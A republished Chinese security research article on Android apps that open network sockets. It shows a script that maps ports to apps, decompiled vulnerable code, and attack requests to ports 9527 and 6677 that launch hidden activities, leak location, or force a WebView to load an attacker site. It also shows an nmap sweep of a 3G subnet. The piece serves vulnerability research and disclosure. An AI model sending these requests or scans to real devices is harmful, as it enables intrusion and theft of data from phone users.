<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/mobile/6973

    0x00 簡介


    Android應用通常使用PF_UNIX、PF_INET、PF_NETLINK等不同domain的socket來進行本地IPC或者遠程網絡通信,這些暴露的socket代表了潛在的本地或遠程攻擊面,歷史上也出現過不少利用socket進行拒絕服務、root提權或者遠程命令執行的案例。特別是PF_INET類型的網絡socket,可以通過網絡與Android應用通信,其原本用于linux環境下開放網絡服務,由于缺乏對網絡調用者身份或者本地調用者pid、permission等細粒度的安全檢查機制,在實現不當的情況下,可以突破Android的沙箱限制,以被攻擊應用的權限執行命令,通常出現比較嚴重的漏洞。作為Android安全研究的新手,筆者帶著傳統服務器滲透尋找開放socket端口的思路,竟然也刷了不少漏洞,下面就對這種漏洞的發現、案例及影響進行歸納。

    0x01 Android開放端口應用定位


    簡單地利用命令netstat就可以發現Android開放了許多socket端口,如圖。但這些開放端口本后的應用卻不得而知。

    enter image description here

    此時可以通過三步定位法進行尋找([email protected]帖子),支持非root手機。

    第一步,利用netstat尋找感興趣的開放socket端口,如圖中的15555。

    第二步,將端口轉換為十六進制值,查看位于/proc/net/目錄下對應的socket套接字狀態文件,在其中找到使用該socket的應用的uid。如15555的十六進制表示為1cc3,協議類型為tcp6,那么查看/proc/net/tcp6文件。

    enter image description here

    注意上面的10115,就是使用該socket的應用的uid。通過這個uid可以得知應用的用戶名為u0_a115。

    第三步,根據用戶名就可以找到應用了

    enter image description here

    至此,我們就知道開放15555端口的應用為com.qiyi.video,盡管我們還不能分辨出開放該端口的準確進程,但仍然為進一步的漏洞挖掘打下基礎。

    寫一個簡單的腳本來自動化的完成此項工作.

    #!python
    import subprocess,re 
    
    def toHexPort(port):
        hexport = str(hex(int(port)))
        return hexport.strip('0x').upper()
    
    def finduid(protocol, entry):
        if (protocol=='tcp' or protocol=='tcp6'):
            uid = entry.split()[-10]
        else: # udp or udp6
            uid = entry.split()[-6]
        uid = int(uid)
        if (uid > 10000): # just for non-system app
            return 'u0_a'+str(uid-10000) 
        else:
            return -1
    
    def main():
        netstat_cmd = "adb shell netstat | grep -Ei 'listen|udp*'"
        #netstat_cmd = "adb shell netstat "
        grep_cmd = "adb shell grep" 
        proc_net = "/proc/net/"
    
    # step 1, find interesting port
        orig_output = subprocess.check_output(netstat_cmd, shell=True)
        list_line = orig_output.split('\r\n')
    
        apps = []
        strip_listline = []
        pattern = re.compile("^Proto") # omit the first line
    
        for line in list_line:
            if (line != '') and (pattern.match(line)==None):
    
    # step 2, find uid in /proc/net/[protocol] based on port 
                socket_entry = line.split()
                protocol = socket_entry[0]  
                port = socket_entry[3].split(':')[-1]
                grep_appid = grep_cmd+' '+ toHexPort(port)+' '+proc_net + protocol 
                net_entry = subprocess.check_output(grep_appid, shell=True)
                uid = finduid(protocol, net_entry)
    # step 3, find app username based on uid
                if (uid == -1): continue
                applist = subprocess.check_output('adb shell ps | grep '+uid, shell=True).split()
                app = applist[8]
                apps.append(app)
                strip_listline.append(line)
    
        itapp= iter(apps)
        itline=iter(strip_listline)
    # last, add app in orig_output of sockets
        print ("Package                  Proto Recv-Q Send-Q         Local Address          Foreign Address        State\r\n")
        try:
            while True:
                print itapp.next()+' '+itline.next()
        except StopIteration:
            pass
    
    if __name__ == '__main__':
        main()
    

    運行結果如下

    enter image description here

    除了PF_INET套接字外,PF_UNIX、PF_NETLINK套接字的狀態文件分別位于/proc/net/unix和/proc/net/netlink。

    當然,如果手機已root,可直接使用busybox安裝目錄下帶p參數的netstat命令,可以顯示pid和不完整的program name。

    enter image description here

    0x02 漏洞挖掘實例


    得知某個應用開放某個端口以后,接下就可以在該應用的逆向代碼中搜索端口號(通常是端口號的16進制表示),重點關注ServerSocket(tcp)、DatagramSocket(udp)等類,定位到關鍵代碼,進一步探索潛在的攻擊面,下面列舉一些漏洞實例。

    1、敏感信息泄露、控制手機

    WooYun-2015-94537:某service打開udp的65502端口監聽,接收特定的命令字后可返回手機的敏感信息,包括手機助手遠程管理手機的SecretKey,進而未授權的攻擊者可通過網絡完全管理手機。

    CVE-2014-8757, LG On-Screen Phone預裝App認證繞過漏洞。

    2、命令執行

    這類漏洞比較常見,通常通過開放socket端口傳入啟動android應用組件的intent,然后以被攻擊應用的權限執行啟動activity、發送廣播等操作。由于通過socket傳入的intent,無法對發送者的身份和權限進行細粒度檢查,繞過了Android提供的對應用組件的權限保護,能夠啟動未導出的和受權限保護的應用組件,對安全造成影響。

    如果監聽的端口是在本地,那么可能造成本地命令執行和權限提升,而如果監聽的端口是任意地址,則可能造成比較嚴重的遠程命令執行。

    3、本地命令執行:

    用前面端口應用定位的方法,發現某流行應用實現了一個小型的HTTP Server,監聽本地的9527端口,簡單搜索分析即可發現向該端口發送如下形式的HTTP請求時可執行命令。

    http://127.0.0.1:9527/si?cmp=<pacakgename>_<componentname>&data=<url scheme>&act=<action name>
    

    通過這個簡單的HTTP請求,惡意程序就可以傳入intent對象的包名、組件名、url和action,接收HTTP請求后執行命令的代碼如下:

    #!java
    ...
            if(v3.hasNext()) {
                Object v6 = v3.next();
                if("act".equals(v6)) {
                    v4.setAction(v10.b.get(v6));
                }
                if("cmp".equals(v6)) {
                    String[] v9 = v10.b.get(v6).split("_");
                    if(v9 == null) {
                        goto label_39;
                    }
                    if(v9.length != 2) {
                        goto label_39;
                    }
                    v4.setComponent(new ComponentName(v9[0], v9[1]));
                }
    
            label_39:
    
                if("data".equals(v6)) {
                    v4.setData(Uri.parse(v10.b.get(v6)));
                }
    
                if(!"callback".equals(v6)) {
                    goto label_13;
                }
                Object v1_1 = v10.b.get(v6);
                goto label_13;
            }
    
            if((TextUtils.isEmpty(v4.getAction())) && v4.getComponent() == null && v4.getData() == null) {
    
                if(TextUtils.isEmpty(((CharSequence)v1))) {
                    return "{\"result\":-20000}";
                }
                return this.a(v1, "{\"result\":-20000}");
            }
            List v0 = this.a.getPackageManager().queryIntentActivities(v4, 0);
            if(v0.size() == 0) {
                if(TextUtils.isEmpty(((CharSequence)v1))) {
                    return "{\"result\":-10000}";
                }
                return this.a(v1, "{\"result\":-10000}");
            }
            try {
                this.a.startActivity(v4);
            }
    ...
    

    最終通過HTTP請求設置的Intent對象,傳入了startActivity方法,由于需要用戶干預,危害并不大。但當packagename指定為該應用自身,componentname指定為該應用的activity時,可以啟動該應用的任意activity,包括受保護的未導出activity,從而對安全造成影響。例如,通過HTTP請求,逐一啟動若干未導出的activity,可以發現拒絕服務漏洞、對安全有影響的登錄界面和有一個可以該應用權限執行任意命令的GUI shell。

    遠程命令執行:

    1. 趨勢科技曾經發現過美團客戶端漏洞,可以通過TCP的9527端口傳入intent data,進而啟動activity,見參考文獻[1].

    2. 遠程強制webview訪問惡意鏈接

    定位到某流行應用實現了一個小型的HTTP Server,在tcp的6677端口監聽任意地址,當HTTP請求滿足一定條件時可以返回敏感信息,并根據請求消息執行一系列動作。對于該HTTP請求,僅有的防御措施是通過referer白名單的方式判斷HTTP請求的來源。在正確設置referer,發送如下HTTP GET請求后

    http://ip:6677/command?param1=value1&...&paramn=valuen
    

    可獲取手機的敏感信息和實現命令執行。其中command為getpackageinfo、androidamap、geolocation中的其一,見如下代碼片段。

    enter image description here

    (1)當command為geolocation時,可返回安裝該應用手機地理位置信息;

    (2)當command為getpackageinfo時,默認返回該應用自身的版本信息。此時若指定參數param1為packagename,即請求http://ip:6677/getpackageinfo?packagename=xxx時(xxx為軟件包名)可返回手機上安裝的xxx所指定的任意軟件包版本信息。若xxx為android,可返回android系統版本信息;

    (3)當command為androidamap時,設置Intent并將其廣播出去,查看對應的OnReceive方法

    enter image description here

    發現需要指定參數param1為action,即請求

    http://ip:6677/androidamap?action=yyy&param2=value2&...&paramn=valuen
    

    時,OnReceive方法取出前面廣播intent對象的extra,新建一個intent對象,設置intent uri為

    androidamap://yyy?sourceApplication=web&param2=value2&...&paramn=valuen
    

    并以隱式intent的形式啟動注冊這種uri scheme的activiy。

    進一步搜索發現如下代碼:

    #!java
    Uri v0_2 = Uri.parse("androidamap://openFeature?featureName=OpenURL&sourceApplication=banner&urlType=0&contentType=autonavi&url="
                                 + this.a.m.privilegeLink);
        Intent v1 = new Intent(MovieDetailHeaderView.c(this.a).getApplicationContext(), 
                                NewMapActivity.class);
        v1.setData(v0_2);
        v1.setFlags(268435456);
        MovieDetailHeaderView.c(this.a).startActivity(v1);
    

    表明可以通過遠程HTTP GET請求如下地址

    http://ip:6677/androidamap?action=openFeature&featureName=OpenURL&sourceApplication=banner&urlType=0&contentType=autonavi&url=evilsite
    

    操縱安裝該app的手機繼承WebView的Activity訪問evilsite,而且這里存在WebView的漏洞,利用方式包括

    (1). 竊取私有目錄下的敏感文件:遠程攻擊者或者本地惡意app可以令WebView加載file://域的惡意腳本文件,按照惡意腳本的請求,竊取該應用私有目錄下的敏感文件,突破android沙箱限制;

    (2). WebView遠程命令執行:存在可被網頁中js操縱的接口jsinterface。由于該流行應用針對的SDK版本較低(android:minSdkVersion="8"),在Android 4.4.2以下的手機,均可使用該接口,通過js注入該應用進程執行命令。

    0x03 漏洞利用場景


    對于Android app開放socket端口漏洞的遠程利用場景,一般認為Android客戶端都在內網,其利用主要還是在非安全的公共WiFi環境,通過對漏洞特征掃描即可利用。但在傳統認為安全的移動互聯網環境,筆者發現仍然可以掃描到其他開放端口的終端,因此也可以利用這種漏洞。

    敘述之前,我們先對典型的移動通信網絡架構進行簡單的科普,一般教科書上的3G網絡架構(WCDMA)如圖。

    enter image description here

    包括以下組成部分:

    1. UE: 用戶終端設備,就是手機,為用戶提供電路域和分組域內的各種業務功能。

    2. UTRAN: 陸地無線接入網,分為基站(Node B)和無線網絡控制器(RNC)兩部分。

    3. CN: 核心網絡,負責與其他網絡的連接和對UE 的通信和管理。主要功能實體包括:

      (1) MSC/VLR:提供CS(電路交換)域的呼叫控制、移動性管理、鑒權和加密等功能;

      (2) GMSC:網關移動交換中心,充當移動網和固定網之間的移動關口局,承擔路由分析、網間接續、網間結算等重要功能;

      (3) SGSN:GPRS服務支持節點,提供PS(分組交換)域的路由轉發、移動性管理、會話管理、鑒權和加密等功能;

      (4) GGSN:網關GPRS支持節點,提供數據包在WCDMA 移動網和外部數據網之間的路由和封裝,GGSN就好象是可尋址WCDMA移動網絡中所有用戶IP 的路由器,需要同外部網絡交換路由信息。

      (5) HLR:歸屬位置寄存器,提供用戶的簽約信息存放、新業務支持、增強的鑒權等功能。

    4. External Networks:外部網絡,包括ISDN和PSTN等電路交換網絡,以及Internet等分組交換網絡。

    簡而言之,移動通信網絡無非是大型的“局域網“,它們通過網關路由器(SGSN和GGSN)連上了Internet,進入到了互聯網的世界。但是在某些移動通信網絡的內部,不同的UE是可以互訪的。以前面某應用開放6677端口為例,我們可以做一個簡單的實驗進行證明。

    使用聯通3G網絡,查看當前IP地址。

    enter image description here

    在相鄰C段進行掃描,掃描到開放端口的手機

    nmap -sT --open -p6677 10.160.112.0/24
    

    發現如下結果

    enter image description here

    這證明在移動網絡中,不同的UE可以互訪。因此如果開放上述socket端口的app存在漏洞,在移動網絡中也是可以利用的。

    0x04 小結


    對于客戶端的遠程漏洞利用,從攻擊者的角度來看,通常更容易使用“受”的方法,即通過欺騙、劫持或社工的方法來讓客戶端訪問我的攻擊載荷。然而,從筆者發現的漏洞案例來看,許多Android應用不正確地使用網絡socket端口傳入命令進行跨進程通信,而且對于本地應用環境,網絡socket也先天缺乏細粒度的認證授權機制,因此把Android客戶端當做服務器,使用“攻”的方法,主動向開放端口發送攻擊載荷也是可行的。這種漏洞一旦存在,輕則本地提權,重則為遠程利用的高危漏洞,3G移動網絡允許UE互訪更是加劇了這種風險。

    此外,除PF_INET外,PF_UNIX、PF_NETLINK域的套接字也是值得關注的本地攻擊面。

    參考文獻:[1] http://blog.trendmicro.com/trendlabs-security-intelligence/open-socket-poses-risks-to-android-security-model

    97av